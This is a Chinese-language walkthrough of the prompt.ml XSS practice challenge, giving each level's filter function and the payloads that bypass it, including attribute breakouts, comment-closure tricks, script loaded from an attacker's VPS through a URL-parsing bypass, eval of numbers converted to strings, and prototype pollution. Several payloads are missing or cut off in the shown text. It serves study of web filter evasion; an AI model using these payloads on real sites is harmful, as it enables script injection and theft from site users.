• prompt(1) to win -xss学习


    网址

    https://prompt.ml/
    
    • 1

    level 0 (闭合)

    function escape(input) {
        // warm up
        // script should be executed without user interaction
        return '<input type="text" value="' + input + '">';
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    闭合前面的双引号

    ">
    
    • 1

    level 1 ( <…>绕过 )

    function escape(input) {
        // tags stripping mechanism from ExtJS library
        // Ext.util.Format.stripTags
        var stripTagsRE = /<\/?[^>]+>/gi;
        input = input.replace(stripTagsRE, '');
    
        return '<article>' + input + 'article>';
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    过滤了<>,会把<…>变为空,所以不能有 >,而

    ....
    会把之间的变为普通文字,所以要把后面的注释掉。

    • 1

    level 2 ( =,(绕过 )

    function escape(input) {
        //                      v-- frowny face
        input = input.replace(/[=(]/g, '');
    
        // ok seriously, disallows equal signs and open parenthesis
        return input;
    }   
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    过滤了=、(,用编码绕过。

    
    
    • 1

    这里的 svg 标签不能去,因为 script 内部文本遵循不转义的规则,而 svg 在 HTML 中属于外来元素,意味着规则不由 HTML 定义,而是由 svg 自己定义。也就是说 HTML 在使用前会先将 xml 实体解析再加入标签。

    还有一种利用 js 的 eval 函数,绝了,这里的 `` 是模板字符串,也就是里面可以用变量和表达式,eval会自动解码执行。

    
    
    • 1

    或者

    
    
    • 1

    level 3 ( -> 替换为 _ )

    function escape(input) {
        // filter potential comment end delimiters
        input = input.replace(/->/g, '_');
    
        // comment the input to avoid script execution
        return '';
    }    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    用 --!> 闭合注释

    --!>
    
    • 1

    这边学到一个姿势:

    --!>
    • 1

    level 4 同源的正则过滤

    ( /^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input)) )

    function escape(input) {
        // make sure the script belongs to own site
        // sample script: http://prompt.ml/js/test.js
        if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
            var script = document.createElement('script');
            script.src = input;
            return script.outerHTML;
        } else {
            return 'Invalid resource.';
        }
    }        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    浏览器支持这样的url:http://user:password@attacker.com。但是 http://user:password/@attacker.com 是不允许的,但是由于 decodeURIComponent 函数的原因,http://user:password%2f@attacker.com 用 %2f 就可以绕过了,这边要再自己的服务器上构造

    //prompt.ml%2f@vps/1.js
    
    • 1

    level 5 ( replace(/>|on.+?=|focus/gi, ‘_’) )

    function escape(input) {
        // apply strict filter rules of level 0
        // filter ">" and event handlers
        input = input.replace(/>|on.+?=|focus/gi, '_');
    
        return '<input value="' + input + '" type="text">';
    }        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    限定了 input 标签的类型,,换行重写类型,这是因为后面的 type 不能覆盖前面的 type。

    " type="image" src=1 onerror
    ="prompt(1)
    
    • 1
    • 2

    level 6 表单提交action过滤

    function escape(input) {
        // let's do a post redirection
        try {
            // pass in formURL#formDataJSON
            // e.g. http://httpbin.org/post#{"name":"Matt"}
            var segments = input.split('#');
            var formURL = segments[0];
            var formData = JSON.parse(segments[1]);
    
            var form = document.createElement('form');
            form.action = formURL;
            form.method = 'post';
    
            for (var i in formData) {
                var input = form.appendChild(document.createElement('input'));
                input.name = i;
                input.setAttribute('value', formData[i]);
            }
    
            return form.outerHTML + '                         \n\
                                                     \n\
            ';
        } catch (e) {
            return 'Invalid form data.';
        }
    }        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    从上面的源码中可以看出,是构造一个类似 http://httpbin.org/post#{"name":"Matt"} 这种格式的,# 前面的是 formURL ,也就是 form 表单 action 属性的值,后面的 post 数据构造 input 标签。在传的时候可以看到,对第一个 action 属性值做了过滤,我们可以令 action 的子标签,也就是 input 下的属性名设置成 action,这样就可以绕过了,原理就是会优先指向 nameaction 的子标签。
    在这里插入图片描述

    level 7 利用 script 标签的注释绕过长度限制

    题目告诉我们是以 # 划分,且每个标题长度不超过 12

    function escape(input) {
        // pass in something like dog#cat#bird#mouse...
        var segments = input.split('#');
        return segments.map(function(title) {
            // title can only contain 12 characters
            return '

    + title.slice(0, 12) + '">

    '
    ; }).join('\n'); }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    payload :

    "><script>/*#*/prompt(/*#*/1)/*#*/</script>
    
    • 1

    从下图生成的标签格式可以看出(红括号内是注释掉的),最后只剩

    在这里插入图片描述
    还有一种跟巧妙的方法,我们可以通过引号之间的闭合来绕,用 onload 执行 js 语句

    "> onload='/*#*/prompt(1)'		//body 标签也可以
    
    • 1

    • 1
    • 2
    • 3

    在这里插入图片描述

    level 8 特殊字符换行,–>注释

    过滤了 \r \n < ",可以 unicode 字符绕过,且 -->js 中也可以当做注释使用

    function escape(input) {
        // prevent input from getting out of comment
        // strip off line-breaks and stuff
        input = input.replace(/[\r\n/g, '');
    
        return '                                \n\
     ';
    }        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    在这里插入图片描述
    payloadconsole 处运行一下
    在这里插入图片描述

    level 9 unicode 编码加远程加载 js 绕过

    会把 < 后面的字母变为 <_,还会对代码全部转大写,前者可以用 unicode 绕过,标签大小写没事,但是里面的 js 代码是大小写敏感的,可以用远程 js 加载。

    function escape(input) {
        // filter potential start-tags
        input = input.replace(/<([a-zA-Z])/g, '<_$1');
        // use all-caps for heading
        input = input.toUpperCase();
    
        // sample input: you shall not pass! => YOU SHALL NOT PASS!
        return '

    ' + input + '

    '
    ; }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    payload:

    <ſcript/ſrc="xxx/1.js"></ſcript>
    
    • 1

    level A

    题目会先对输入进行 url 编码,这样我们就无法利用 unicode 绕过,但是它后面又做了一个替换把 ' 替换为 ,也就是说如果我们在 prompt 中间插上 ' ,那么经过第二个替换就会变成 prompt

    function escape(input) {
        // (╯°□°)╯︵ ┻━┻
        input = encodeURIComponent(input).replace(/prompt/g, 'alert');
        // ┬──┬ ノ( ゜-゜ノ) chill out bro
        input = input.replace(/'/g, '');
    
        // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
        return ' ';
    }        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    payload:

    pro'mpt(1)
    
    • 1

    level B 利用运算符绕过

    过滤了很多特殊的字符。

    function escape(input) {
        // name should not contain special characters
        var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
    
        // data to be parsed as JSON
        var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
    
        // directly "parse" data in script context
        return '                                \n\
     ';
    }        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    如果没有禁冒号的话,我们使可以闭合来绕过的,但是这边禁用了,这边说一下大佬的思路。

    如下所示,是可以成功弹窗的,双引号里可以是任何字符,这里的 in 或者 instanceof 是运算符,且 1(prompt(1)) 也是可以成功弹窗的,尽管这两个方法都会报错。

    (prompt(1))instanceof"1" (prompt(1))in"1"
    
    • 1

    level C 字符串转数字

    level A 不一样的是,这一题是先过滤了单引号,再过滤 prompt 的。

    function escape(input) {
        // in Soviet Russia...
        input = encodeURIComponent(input).replace(/'/g, '');
        // table flips you!
        input = input.replace(/prompt/g, 'alert');
    
        // ノ┬─┬ノ ︵ ( \o°o)\
        return ' ';
    }        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    php 中我们可以利用数学函数把数字转为字母执行 shell,这题的原理差不多。
    在这里插入图片描述
    在这里插入图片描述
    由上面两张图可以看出此方法是可行的,大佬的各种骚操作 真是令我大开眼界啊。

    payload:

    eval((630038579).toString(30))(1)
    
    利用 concat 连接,String.fromCharCode
    eval((1172936279).toString(34).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
    
    • 1
    • 2
    • 3
    • 4

    level D 原型链和特殊替换

    extend 接收的是一个对象,且里面有一个这样的语句 obj[prop] = source[prop]; 这不就是很典型的原型链污染嘛,后面判断 source 有没有其他字符,有则删除 source 属性,又过滤了双引号,判断格式是否正确。

    function escape(input) {
        // extend method from Underscore library
        // _.extend(destination, *sources) 
        function extend(obj) {
            var source, prop;
            for (var i = 1, length = arguments.length; i < length; i++) {
                source = arguments[i];
                for (prop in source) {
                    obj[prop] = source[prop];
                }
            }
            return obj;
        }
        // a simple picture plugin
        try {
            // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
            var data = JSON.parse(input);
            var config = extend({
                // default image source
                source: 'http://placehold.it/350x150'
            }, JSON.parse(input));
            // forbit invalid image source
            if (/[^\w:\/.]/.test(config.source)) {
                delete config.source;
            }
            // purify the source by stripping off "
            var source = config.source.replace(/"/g, '');
            // insert the content using mustache-ish template
            return ''.replace('{{source}}', source);
        } catch (e) {
            return 'Invalid image data.';
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    从下图可以看出当我们把 a 属性删掉的时候,它会通过__proto__向上找 a 属性,如过上面都没有则会返回空。
    在这里插入图片描述
    在这里插入图片描述
    思路有了,那么还有个问题怎么绕过闭合?它过滤了双引号,我们无法用双引号来绕过了。这边大佬给了一个特殊的替换方式。
    在这里插入图片描述
    通过例子来看一下:

    //$$:输出一个$
    '123456789'.replace('34',"$$xss");
    '12$xss56789'
    
    //$&:插入到匹配到的字符串后面(不会删掉匹配到的字符)
    '123456789'.replace('34',"$&xss");
    '1234xss56789'
    
    //$`:复制匹配到的字符串前面的那部分,并把字符串插入(会删掉匹配到的字符)
    '123456789'.replace('34',"$`xss");
    '1212xss56789'
    
    //$':复制匹配到的字符串的后面的那部分,并把字符串插入(会删掉匹配到的字符)
    '123456789'.replace('34',"$'xss");
    '1256789xss56789'
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    更具上面的那个,如果我们利用

    $`

    那么不就可以复制 {{source}} 之前的字符串,也就是 {"source":"'","__proto__":{"source":"$`οnerrοr=prompt(1)>"}}

    • 1

    在这里插入图片描述

    level E iframe 的 src 编码(data:伪协议)

    做了一下几个处理:

    1.全部转大写
    2. 把 xxx: 替换为 data:
    3. 把 &+\空格 vps 替换为 _
    那么应该就是利用 data 来绕过,也可以看成 data 伪协议,就是不需要额外请求,直接在网页中嵌入文件。

    格式如下:

    data:[][;charset=][;base64],
    
    • 1
    function escape(input) {
        // I expect this one will have other solutions, so be creative :)
        // mspaint makes all file names in all-caps :(
        // too lazy to convert them back in lower case
        // sample input: prompt.jpg => PROMPT.JPG
        input = input.toUpperCase();
        // only allows images loaded from own host or data URI scheme
        input = input.replace(/\/\/|\w+:/g, 'data:');
        // miscellaneous filtering
        input = input.replace(/[\\&+%\s]|vbs/gi, '_');
    
        return '+ input + '">';
    }        
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    payload:

    ">